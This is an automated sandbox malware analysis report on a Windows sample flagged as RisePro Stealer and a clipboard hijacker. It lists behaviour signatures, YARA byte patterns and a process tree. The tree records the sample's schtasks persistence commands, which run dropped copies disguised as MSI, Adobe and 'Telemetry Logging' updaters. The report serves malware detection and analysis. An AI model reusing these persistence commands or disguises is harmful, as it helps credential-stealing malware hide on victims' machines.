Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1431078
MD5:	e13d9ab9096dcc3bd309272dea987462
SHA1:	906ae29df0f1e4ac3ed5302b3d5d97decd4f1198
SHA256:	5a7b8feb65ff7cfc058c5e7198d5287ed8287ef23f721949bfba41d1cd19467c
Tags:	exe
Infos:

Detection

Clipboard Hijacker, RisePro Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Clipboard Hijacker

Yara detected RisePro Stealer

Contains functionality to implement multi-threaded time evasion

Creates multiple autostart registry keys

Found many strings related to Crypto-Wallets (likely being stolen)

Found stalling execution ending in API Sleep call

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 5316 cmdline: "C:\Users\user\Desktop\file.exe" MD5: E13D9AB9096DCC3BD309272DEA987462)

schtasks.exe (PID: 3280 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 2464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 2512 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

IHobmyUUXF8jFZ9HHCK7.exe (PID: 3040 cmdline: "C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\IHobmyUUXF8jFZ9HHCK7.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 4128 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 4936 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 752 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RthubJXJJOhKyKgs0z_b.exe (PID: 6012 cmdline: "C:\Users\user\AppData\Local\Temp\span8fTqI7Z4TQTK\RthubJXJJOhKyKgs0z_b.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 5372 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSIUpdaterV2.exe (PID: 6108 cmdline: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

MSIUpdaterV2.exe (PID: 2100 cmdline: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 4700 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 4584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

oobeldr.exe (PID: 5688 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

conhost.exe (PID: 4452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSIUpdaterV2.exe (PID: 4996 cmdline: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 5572 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSIUpdaterV2.exe (PID: 5308 cmdline: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

AdobeUpdaterV2.exe (PID: 5588 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 5856 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5776 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AdobeUpdaterV2.exe (PID: 7144 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 2976 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 3984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AdobeUpdaterV2.exe (PID: 3456 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 5576 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 4128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

AdobeUpdaterV2.exe (PID: 5704 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 7088 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 1996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

EdgeMS2.exe (PID: 1108 cmdline: "C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 6052 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 1984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

oobeldr.exe (PID: 2852 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 6012 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 6552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\mMNhxEaskfVfjkc4NDz8xtN.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000015.00000002.1654590911.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000015.00000002.1654590911.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000000.00000003.1490164817.0000000005FE8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000000.00000003.1442348203.0000000001263000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.1568547608.0000000000401000.00000020.00000001.01000000.00000007.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000008.00000002.1568547608.0000000000401000.00000020.00000001.01000000.00000007.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000029.00000002.1986808153.0000000000401000.00000020.00000001.01000000.0000000F.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000029.00000002.1986808153.0000000000401000.00000020.00000001.01000000.0000000F.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000026.00000002.1907034183.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000026.00000002.1907034183.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000000.00000003.1441917639.0000000001263000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000002.1653499972.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000016.00000002.1653499972.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
0000001E.00000002.1731319908.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001E.00000002.1731319908.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000000.00000003.1441725385.0000000001263000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000014.00000002.1638452398.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000014.00000002.1638452398.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000000.00000003.1442821910.0000000001263000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1443357927.0000000001263000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002C.00000002.3795988174.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000002C.00000002.3795988174.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
0000000C.00000002.1586960616.0000000000401000.00000020.00000001.01000000.00000009.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000C.00000002.1586960616.0000000000401000.00000020.00000001.01000000.00000009.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
0000000B.00000002.1585774146.0000000000401000.00000020.00000001.01000000.00000009.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000B.00000002.1585774146.0000000000401000.00000020.00000001.01000000.00000009.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000019.00000002.1649208169.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000019.00000002.1649208169.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000000.00000003.1441605252.0000000001262000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000021.00000002.1812078816.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000021.00000002.1812078816.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000000.00000002.3808658828.0000000005D8C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000000.00000003.1442028613.0000000001263000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.1585794053.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000D.00000002.1585794053.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
Process Memory Space: file.exe PID: 5316	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: file.exe PID: 5316	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 32 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
38.2.AdobeUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
38.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
38.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
13.2.oobeldr.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
13.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
13.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
20.2.RthubJXJJOhKyKgs0z_b.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
20.2.RthubJXJJOhKyKgs0z_b.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
20.2.RthubJXJJOhKyKgs0z_b.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
33.2.AdobeUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
33.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
33.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
21.2.MSIUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
21.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
21.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
30.2.AdobeUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
30.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
30.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
8.2.IHobmyUUXF8jFZ9HHCK7.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
8.2.IHobmyUUXF8jFZ9HHCK7.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
8.2.IHobmyUUXF8jFZ9HHCK7.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
11.2.MSIUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
11.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
11.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
22.2.MSIUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
22.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
22.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
41.2.EdgeMS2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
41.2.EdgeMS2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
